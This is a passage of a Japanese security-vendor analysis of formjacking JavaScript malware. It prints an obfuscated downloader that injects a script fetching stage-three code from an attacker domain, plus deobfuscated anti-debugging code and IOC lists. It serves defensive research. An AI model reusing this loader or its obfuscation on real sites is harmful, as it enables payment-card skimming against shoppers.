1. var cdn = document\["createElement"\]("_s!cCr\_i0p~=t" \["replace"\](/\[0C\\!\\_\\=\\~\]/g, "")); ... 2. cdn\["src"\] = "\]qhft+tw8pvsB:Q/w/KmlkybxFi;nPtYBa9d8.zcu9oA\[ml/VjFNs@/3Zc@oX(n85tge GnQtA.Lj\[s" \[(2709681237 \* "\\x89se-}\]ucS" \["length"\] + 0.0)\["toString"\](("\\x81f8OSZ^\*.5#\\x60x\\x7f|Pn$\]~" \["charCodeAt"\](7) \* 0 + 31.0))\](/ \[bP\\+\\\]9fk8GFYglv\\\[\\@K\\(VXLqBwZ5uzQ\\;AN3\]/g, ""); ... 3. document\["body"\]\["appendChild"\](cdn);

|-------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 1. var cdn = document\["createElement"\]("_s!cCr\_i0p~=t" \["replace"\](/\[0C\\!\\_\\=\\~\]/g, "")); ... 2. cdn\["src"\] = "\]qhft+tw8pvsB:Q/w/KmlkybxFi;nPtYBa9d8.zcu9oA\[ml/VjFNs@/3Zc@oX(n85tge GnQtA.Lj\[s" \[(2709681237 \* "\\x89se-}\]ucS" \["length"\] + 0.0)\["toString"\](("\\x81f8OSZ^\*.5#\\x60x\\x7f|Pn$\]~" \["charCodeAt"\](7) \* 0 + 31.0))\](/ \[bP\\+\\\]9fk8GFYglv\\\[\\@K\\(VXLqBwZ5uzQ\\;AN3\]/g, ""); ... 3. document\["body"\]\["appendChild"\](cdn); |

先に説明したとおり、ここでは「正規表現」がコードの難読化に利用されています。復号すると、これが単なるダウンローダで、以下の内容しか行っていないことがわかります。

1. DOM要素 cdn=document.createElement("script")を生成する
2. 要素のソースURLをcdn.src="hxxps://xxxxxx\[.\]com/js/content.js";に設定する
3. この要素をDOMツリーにアペンドする

つまりこのコードは第3段階のコードをhxxps://myxintad\[.\]com/js/content.jsからダウンロードするわけですが、このURLにはすでにアクセスができなくなっています。このため内容は取得できていませんが、以前行った分析の結果からは、強力なJavaScriptを使えば攻撃者にはじつに様々なことが行えます。たとえば次のようなことが行えるのです。

* * コードの難読化と暗号化
  * 標的のWebサイトにはダウンローダだけを配置しておき、実際の悪意のあるコードは自身のリモートサーバー上に配置する。こうしておけば、攻撃者はコンテンツをたやすく変更でき、アクセス可能にする期間も決めることができる
  * 多段階のマルウェアを作成して追跡がより困難となるようにする。ここでも第1段階から第3段階まであって、リサーチャーにとっては大きなストレスのもとに

### さらに高度なテクニック

マルウェア作成者は場合によってはさらに高度なテクニックを使い、コードをデバッグしにくくします。次の分析では以下のSHA256値をもつサンプルを使用します。上記で分析したものとよく似ていますが、以下には難読化された追加のアンチデバッグコードが含まれています。

(SHA256:981d0c4d7e1d9249f3c0f59021f02c171233a5259ebda20a671e13d474fb74ec)  
i\&\&t||!(window\[""+(69\>36?"\\x46":"\\x3f")+"ir"+"ebu"+(69\>16?"\\x67":"\\x5 f")+""\]\&\&window\[""+(64\>43?"\\x46":"\\x3d")+" ir"+"ebu"+(61\>21?"\\x67":"\\x5d")+""\]\["c"+"hr"+(85\>21?"\\x6f":"\\x69")+"m e"\]\&\&window\["Fi"+(54\>43?"\\x72":"\\x68")+"e" +""+(70\>31?"\\x62":"\\x59")+"ug"\]\["chr"+(76\>48?"\\x6f":"\\x66")+""+"m"+(9 9\>29?"\\x65":"\\x60")+""\]\["isIni"+(76\>22?" \\x74":"\\x6d")+""+""+(63\>30?"\\x69":"\\x61")+"alized"\]||t||i)? ....................

|-----------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 | i\&\&t||!(window\[""+(69\>36?"\\x46":"\\x3f")+"ir"+"ebu"+(69\>16?"\\x67":"\\x5 f")+""\]\&\&window\[""+(64\>43?"\\x46":"\\x3d")+" ir"+"ebu"+(61\>21?"\\x67":"\\x5d")+""\]\["c"+"hr"+(85\>21?"\\x6f":"\\x69")+"m e"\]\&\&window\["Fi"+(54\>43?"\\x72":"\\x68")+"e" +""+(70\>31?"\\x62":"\\x59")+"ug"\]\["chr"+(76\>48?"\\x6f":"\\x66")+""+"m"+(9 9\>29?"\\x65":"\\x60")+""\]\["isIni"+(76\>22?" \\x74":"\\x6d")+""+""+(63\>30?"\\x69":"\\x61")+"alized"\]||t||i)? .................... |

この難読化を解除したコードは次のとおりです。  
i \&\& t || !(window\["Firebug"\] \&\& window\["Firebug"\]\["chrome"\] \&\& window\["Firebug"\]\["chrome"\]\["isInitialized"\] || t || i) ?

|-----|---------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 | i \&\& t || !(window\["Firebug"\] \&\& window\["Firebug"\]\["chrome"\] \&\& window\["Firebug"\]\["chrome"\]\["isInitialized"\] || t || i) ? |

このコードは次の2つのテクニックを使い、分析がされにくいようにしてあります。

1. 分析者がFirebugデバッガを使ってコードをデバッグしているかどうかをチェックする
2. JavaScriptの条件演算子を使い、検出結果によって別の条件節を実行させる。場合によってはわざわざjavascriptの条件演算子をカスケードさせたりもする（例: "condition1 ?aaa: (condition2?bbb: (condition3?ccc: ddd)))"）。こうなるとデバッグのブレークポイント設定がひたすら面倒になります。

## 結論

JavaScriptはけっして新しいテクノロジというわけではありません。これまで20年以上使われてきていますし絶えずアップデートもされています。今日ほとんどのWebサイトにはJavascriptが使用されているので、フォームジャッキングのようなJavaScriptを使った攻撃はトレンドになりつつと私たちは見ています。

フォームジャッキング攻撃によるリスクを緩和するため、オンラインで小売業やECサイトを営む皆さんは、自社のシステムやコンポーネント、Webプラグインのすべてにパッチを適用し、侵害を受けないようにしておくことが推奨されます。あわせて、定期的にWebコンテンツの整合性チェックをオフラインで実行することで、攻撃者にページが編集されていないか、悪意のあるJSコードが挿入されていないかを確認するのがベストプラクティスといえるでしょう。最後にコンテンツ管理システム（CMS）の管理者は、強力なパスワードでブルートフォース攻撃を受けにくくしておくべきでしょう。

ご自身がECサイトで買い物をする消費者である場合は、PayPalやVISA Securedなど、よく利用されているワンタイムの支払いオプションを使って支払いをすることをお勧めします。できるかぎり、ご自身のクレジットカードを利用するのは控えましょう。また最近のオンライン取引が原因でクレジットカード情報が盗まれたと信じる理由がある場合は、すぐに銀行に連絡してカードの利用停止・再発行をしてもらうべきでしょう。くわえて、盗まれた個人情報で新しいアカウントを開設できないよう、クレジット凍結も検討すべきでしょう。

パロアルトネットワークス製品をお使いのお客様はフォームジャッキング攻撃から保護されています。WildFireはフォームジャッキング攻撃を悪意のあるものとして検出して正しく識別し、PANDBはURLを悪意のあるものとして識別します。

### 謝辞

Kyle Wilhoit氏、Jen Miller Osborn氏、ならびにMark Karayan氏には本稿に助言をいただき、また内容改善にご協力いただきました。ここに厚くお礼申し上げます。ありがとうございました。

### IOC

hxxps://www.cheshirehorse\[.\]com/

a79da1f007cfc88e4f8ae13623e2b752d2da03bcf9d51a74ea1fca2e6e6fca14

hxxp://92wear\[.\]vn/

5775efac071288ff6632056635f285b03bf2ab6d6dee1fd902555e256fe63119

1e4300dff5e0978092102028487c08267b74fb3beef14faa56b0f1a3fbc53ae4

hxxps://www.posterburner\[.\]com/SavedSession.aspx?SID=3Daba5c976c3f441ecbf449=

981d0c4d7e1d9249f3c0f59021f02c171233a5259ebda20a671e13d474fb74ec

トップに戻る

### タグ

* [Formjacking Attack](https://unit42.paloaltonetworks.com/ja/tag/formjacking-attack-ja/ "Formjacking Attack")
* [JavaScript Malware](https://unit42.paloaltonetworks.com/ja/tag/javascript-malware-ja/ "JavaScript Malware")  
  [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") [次ページ:新型コロナウイルス感染症につけこむサイバー攻撃者たち：関心の高いドメイン名登録で収益化](https://unit42.paloaltonetworks.com/ja/how-cybercriminals-prey-on-the-covid-19-pandemic/ "新型コロナウイルス感染症につけこむサイバー攻撃者たち：関心の高いドメイン名登録で収益化")

### 目次

* 

### 関連記事

* [コーディングに挑戦する開発者を狙うSlow Pisces、カスタマイズされたPythonマルウェアを新たに導入](https://unit42.paloaltonetworks.com/ja/slow-pisces-new-custom-malware/ "article - table of contents")
* [「なぜオーストラリアのサッカー選手が私のパスワードを盗もうとするの?」悪意のある JavaScript が機微情報を盗むさまざまな手口](https://unit42.paloaltonetworks.com/ja/malicious-javascript-steals-sensitive-data/ "article - table of contents")
* [悪性Javascriptのインジェクション キャンペーンで約5万1,000サイトが感染](https://unit42.paloaltonetworks.com/ja/malicious-javascript-injection/ "article - table of contents")

## 関連項目 マルウェア リソース

![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年8月6日 [#### ChainDropの脅威の概要:自己増殖型npmワームの内部](https://unit42.paloaltonetworks.com/ja/chaindrop-npm-worm-analysis/)

* [Blockchain](https://unit42.paloaltonetworks.com/ja/tag/blockchain-ja/ "blockchain")

* [ChainDrop](https://unit42.paloaltonetworks.com/ja/tag/chaindrop/ "ChainDrop")

* [Claude code](https://unit42.paloaltonetworks.com/ja/tag/claude-code/ "Claude code")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/chaindrop-npm-worm-analysis/ "ChainDropの脅威の概要:自己増殖型npmワームの内部")  
  ![Pictorial representation of the npm packages supply chain attack. Screen displaying code with a prominent alert symbol and the words 'VIRUS DETECTED' highlighted in red.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/05_Malware_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年6月2日 [#### npmの脅威の状況: アタックサーフェスと緩和策(6月2日更新)](https://unit42.paloaltonetworks.com/ja/monitoring-npm-supply-chain-attacks/)

* [Credential Harvesting](https://unit42.paloaltonetworks.com/ja/tag/credential-harvesting-ja/ "Credential Harvesting")

* [GitHub](https://unit42.paloaltonetworks.com/ja/tag/github-ja/ "GitHub")

* [Npm packages](https://unit42.paloaltonetworks.com/ja/tag/npm-packages/ "npm packages")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/monitoring-npm-supply-chain-attacks/ "npmの脅威の状況: アタックサーフェスと緩和策(6月2日更新)")  
  ![Pictorial representation of Screening Serpens. An illustrated blue snake is highlighted by a red circle against a night sky. The constellation serpens.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/05/Serpens-Iran-A-1920x900-2-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2026年5月22日 [#### イランAPT Screening Serpensによる2026年スパイ キャンペーンの追跡](https://unit42.paloaltonetworks.com/ja/tracking-iran-apt-screening-serpens/)

* [Advanced Persistent Threat](https://unit42.paloaltonetworks.com/ja/tag/advanced-persistent-threat-ja/ "Advanced Persistent Threat")

* [AppDomainManager](https://unit42.paloaltonetworks.com/ja/tag/appdomainmanager/ "AppDomainManager")

* [DLL Sideloading](https://unit42.paloaltonetworks.com/ja/tag/dll-sideloading-ja/ "DLL Sideloading")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/tracking-iran-apt-screening-serpens/ "イランAPT Screening Serpensによる2026年スパイ キャンペーンの追跡")  
  ![Pictorial representation of Iran cyber attacks. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/12_Security-Technology_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年4月17日 [#### 脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/)

* [APK](https://unit42.paloaltonetworks.com/ja/tag/apk-ja/ "APK")

* [DDoS attacks](https://unit42.paloaltonetworks.com/ja/tag/ddos-attacks-ja/ "DDoS attacks")

* [GenAI](https://unit42.paloaltonetworks.com/ja/tag/genai-ja/ "GenAI")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/ "脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)")  
  ![Pictorial representation of the supply chain attack compromising Axios. A giant eye made of glowing binary code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/02_Security-Technology_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年4月1日 [#### 脅威概要:Axiosサプライ チェーン攻撃で広範に及ぶ影響](https://unit42.paloaltonetworks.com/ja/axios-supply-chain-attack/)

* [API attacks](https://unit42.paloaltonetworks.com/ja/tag/api-attacks-ja/ "API attacks")

* [JavaScript](https://unit42.paloaltonetworks.com/ja/tag/javascript-ja/ "JavaScript")

* [Powershell](https://unit42.paloaltonetworks.com/ja/tag/powershell-ja/ "Powershell")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/axios-supply-chain-attack/ "脅威概要:Axiosサプライ チェーン攻撃で広範に及ぶ影響")  
  ![Pictorial representation of TeamPCP. Glowing code on a screen where several word such as Crime, Hackers, and Security are highlighted in a contrasting color.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/03_Cybercrime_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年3月31日 [#### プロテクターを武器として利用する:セキュリティ インフラにおけるTeamPCPの多段階サプライ チェーン攻撃](https://unit42.paloaltonetworks.com/ja/teampcp-supply-chain-attacks/)

* [CVE-2025-55182](https://unit42.paloaltonetworks.com/ja/tag/cve-2025-55182-ja/ "CVE-2025-55182")

* [GitHub](https://unit42.paloaltonetworks.com/ja/tag/github-ja/ "GitHub")

* [Infostealer](https://unit42.paloaltonetworks.com/ja/tag/infostealer-ja/ "Infostealer")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/teampcp-supply-chain-attacks/ "プロテクターを武器として利用する:セキュリティ インフラにおけるTeamPCPの多段階サプライ チェーン攻撃")  
  ![Pictorial representation of phishing campaign. A blurred image focusing on a person typing on a laptop with lines of code visible on the screen, illuminated in blue and red lights, suggestive of intense coding or cyber activities.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/06_Malware_Category_1920x900-3-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年3月24日 [#### 脅威情報: パロアルトネットワークスの人材獲得チームになりすました採用スキーム](https://unit42.paloaltonetworks.com/ja/phishing-attackers-pose-as-panw-recruiters/)

* [Email scam](https://unit42.paloaltonetworks.com/ja/tag/email-scam/ "email scam")

* [Lure](https://unit42.paloaltonetworks.com/ja/tag/lure/ "lure")

* [Phishing](https://unit42.paloaltonetworks.com/ja/tag/phishing-ja/ "phishing")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/phishing-attackers-pose-as-panw-recruiters/ "脅威情報: パロアルトネットワークスの人材獲得チームになりすました採用スキーム")  
  ![Pictorial representation of Notepad++ supply chain compromise. A digital rendering of Earth from space, focusing on North and South America. The continents are illuminated in blue, with red lines and dots indicating data connections across various locations. Dark background highlights the vibrant network representation.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/11_Security-Technology_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年2月11日 [#### 国家支援型の脅威アクターがNotepad++のサプライチェーンを悪用](https://unit42.paloaltonetworks.com/ja/notepad-infrastructure-compromise/)

* [Backdoor](https://unit42.paloaltonetworks.com/ja/tag/backdoor-ja/ "backdoor")

* [Cobalt Strike](https://unit42.paloaltonetworks.com/ja/tag/cobalt-strike-ja/ "Cobalt Strike")

* [DLL Sideloading](https://unit42.paloaltonetworks.com/ja/tag/dll-sideloading-ja/ "DLL Sideloading")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/notepad-infrastructure-compromise/ "国家支援型の脅威アクターがNotepad++のサプライチェーンを悪用")  
  ![Pictorial representation of runtime assembly attacks. Digital artwork of a glowing, futuristic shield disintegrating into small particles, set against a dark blue, bokeh-effect background.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/09_Business_email_compromise_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年1月22日 [#### ランタイムアセンブリ攻撃の新たなフロンティア：LLMを活用したフィッシング用JavaScriptのリアルタイム生成](https://unit42.paloaltonetworks.com/ja/real-time-malicious-javascript-through-llms/)

* [API](https://unit42.paloaltonetworks.com/ja/tag/api-ja/ "API")

* [Google](https://unit42.paloaltonetworks.com/ja/tag/google-ja/ "Google")

* [JavaScript](https://unit42.paloaltonetworks.com/ja/tag/javascript-ja/ "JavaScript")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/real-time-malicious-javascript-through-llms/ "ランタイムアセンブリ攻撃の新たなフロンティア：LLMを活用したフィッシング用JavaScriptのリアルタイム生成")  
  ![Pictorial representation of SLOW#TEMPEST campaign. Digital artwork depicting a malware alert symbol on a computer screen, with background of blurred programming code in blue and red colors.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/07_Malware_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年1月2日 [#### Pyarmorを利用して難読化と検知回避を行うVVS Discord Stealer](https://unit42.paloaltonetworks.com/ja/vvs-stealer/)

* [Discord](https://unit42.paloaltonetworks.com/ja/tag/discord/ "Discord")

* [Infostealer](https://unit42.paloaltonetworks.com/ja/tag/infostealer-ja/ "Infostealer")

* [Python](https://unit42.paloaltonetworks.com/ja/tag/python-ja/ "Python")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/vvs-stealer/ "Pyarmorを利用して難読化と検知回避を行うVVS Discord Stealer")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/04/Unit-42_get-updates-banner.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Unit 42 からの最新情報を取得

## 進化する脅威の状況を常に先取り

メール アドレス

本フォームを送信することにより、[利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)に同意し、[プライバシー ポリシー](https://www.paloaltonetworks.jp/legal-notices/privacy)を承認したことになります。

本サイトは reCAPTCHA で保護されており、Googleの[プライバシー ポリシー](https://policies.google.com/privacy) と[サービス利用規約](https://policies.google.com/terms)が適用されます。

Invalid captcha!
サブスクライブ ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} 製品とサービス

* [AI利用ネットワーク セキュリティ プラットフォーム](https://www.paloaltonetworks.jp/network-security)

* [AIのセキュア バイ デザイン](https://www.paloaltonetworks.jp/precision-ai-security/secure-ai-by-design)

* [Prisma AIRS](https://www.paloaltonetworks.jp/prisma/prisma-ai-runtime-security)

* [AI Access Security](https://www.paloaltonetworks.jp/sase/ai-access-security)

* [クラウド提供型セキュリティ サービス](https://www.paloaltonetworks.jp/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.jp/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.jp/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.jp/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.jp/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/enterprise-iot-security)

* [Medical IoT Security](https://www.paloaltonetworks.jp/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/industrial-ot-security)

* [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security)

* [次世代ファイアウォール](https://www.paloaltonetworks.jp/network-security/next-generation-firewall)

* [ハードウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/hardware-firewall-innovations)

* [ソフトウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.jp/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.jp/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.jp/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.jp/network-security/panorama)

* [セキュア アクセス サービス エッジ](https://www.paloaltonetworks.jp/sase)

* [Prisma SASE](https://www.paloaltonetworks.jp/sase)

* [App Acceleration](https://www.paloaltonetworks.jp/sase/app-acceleration)

* [自律型デジタルエクスペリエンス管理](https://www.paloaltonetworks.jp/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.jp/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.jp/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.jp/sase/sd-wan)

* [リモート ブラウザ分離](https://www.paloaltonetworks.jp/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security)

* [AI駆動型セキュリティ運用プラットフォーム](https://www.paloaltonetworks.jp/cortex)

* [Cloud Security](https://www.paloaltonetworks.jp/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.jp/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.jp/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.jp/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.jp/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.jp/prisma/cloud)

* [AI駆動型SOC](https://www.paloaltonetworks.jp/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.jp/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.jp/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.jp/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.jp/cortex/cortex-xpanse)

* [Unit 42マネージド ディテクション\&レスポンス](https://www.paloaltonetworks.jp/cortex/managed-detection-and-response)

* [マネージドXSIAM](https://www.paloaltonetworks.jp/cortex/managed-xsiam)

* [次世代のアイデンティティ セキュリティ](https://www.paloaltonetworks.jp/idira)

* [特権アクセス管理](https://www.paloaltonetworks.jp/idira/human/privileged-access-management)

* [アイデンティティ管理とアクセス管理](https://www.paloaltonetworks.jp/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.jp/idira/human/endpoint-privilege-manager)

* [アイデンティティ ガバナンス](https://www.paloaltonetworks.jp/idira/human/identity-governance)

* [従業員パスワード管理](https://www.paloaltonetworks.jp/idira/human/workforce-password-management)

* [エージェンティック アイデンティティ](https://www.paloaltonetworks.jp/idira/agentic)

* [シークレット管理](https://www.paloaltonetworks.jp/idira/machine/secrets-management)

* [統合型シークレット ガバナンス](https://www.paloaltonetworks.jp/idira/machine/unified-secrets-governance)

* [アプリケーションの認証情報配信](https://www.paloaltonetworks.jp/idira/machine/application-credentials-delivery)

* [ベンダーの特権アクセス](https://www.paloaltonetworks.jp/idira/human/vendor-privileged-access)

* [脅威インテリジェンス\&インシデント レスポンス サービス](https://www.paloaltonetworks.jp/unit42)

* [予防評価](https://www.paloaltonetworks.jp/unit42/assess)

* [インシデント レスポンス](https://www.paloaltonetworks.jp/unit42/respond)

* [セキュリティ戦略を変革](https://www.paloaltonetworks.jp/unit42/transform)

* [脅威インテリジェンスについて](https://www.paloaltonetworks.jp/unit42/threat-intelligence-partners)  
  会社名

* [パロアルトネットワークスについて](https://www.paloaltonetworks.jp/about-us)

* [採用情報](https://jobs.paloaltonetworks.com/en/)

* [お問合せ](https://www.paloaltonetworks.jp/company/contact-sales)

* [企業責任](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [お客様向け](https://www.paloaltonetworks.jp/customers)

* [IR](https://investors.paloaltonetworks.com/)

* [拠点](https://www.paloaltonetworks.com/about-us/locations)

* [ニュースルーム](https://www.paloaltonetworks.jp/company/newsroom)  
  人気のあるリンク

* [ブログ](https://www.paloaltonetworks.com/blog/?lang=ja)

* [コミュニティ](https://www.paloaltonetworks.com/communities)

* [コンテンツライブラリ](https://www.paloaltonetworks.jp/resources)

* [Cyberpedia](https://www.paloaltonetworks.jp/cyberpedia)

* [イベントセンター](https://events.paloaltonetworks.com/)

* [電子メール設定の管理](https://start.paloaltonetworks.com/preference-center)

* [製品A〜Z](https://www.paloaltonetworks.jp/products/products-a-z)

* [製品認証](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance)

* [脆弱性の報告](https://www.paloaltonetworks.com/security-disclosure)

* [サイトマップ](https://www.paloaltonetworks.jp/sitemap)

* [テクニカル ドキュメント](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.jp/)

* [個人情報の販売および共有禁止](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [プライバシー](https://www.paloaltonetworks.jp/legal-notices/privacy)

* [トラスト センター](https://www.paloaltonetworks.jp/legal-notices/trust-center)

* [利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)

* [ドキュメント](https://www.paloaltonetworks.jp/legal-notices)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![](https://www.paloaltonetworks.jp/content/dam/pan/en_US/images/icons/podcast.svg)](https://unit42.paloaltonetworks.com/unit-42-threat-vector-podcast/)
* JP  
  Select your language  
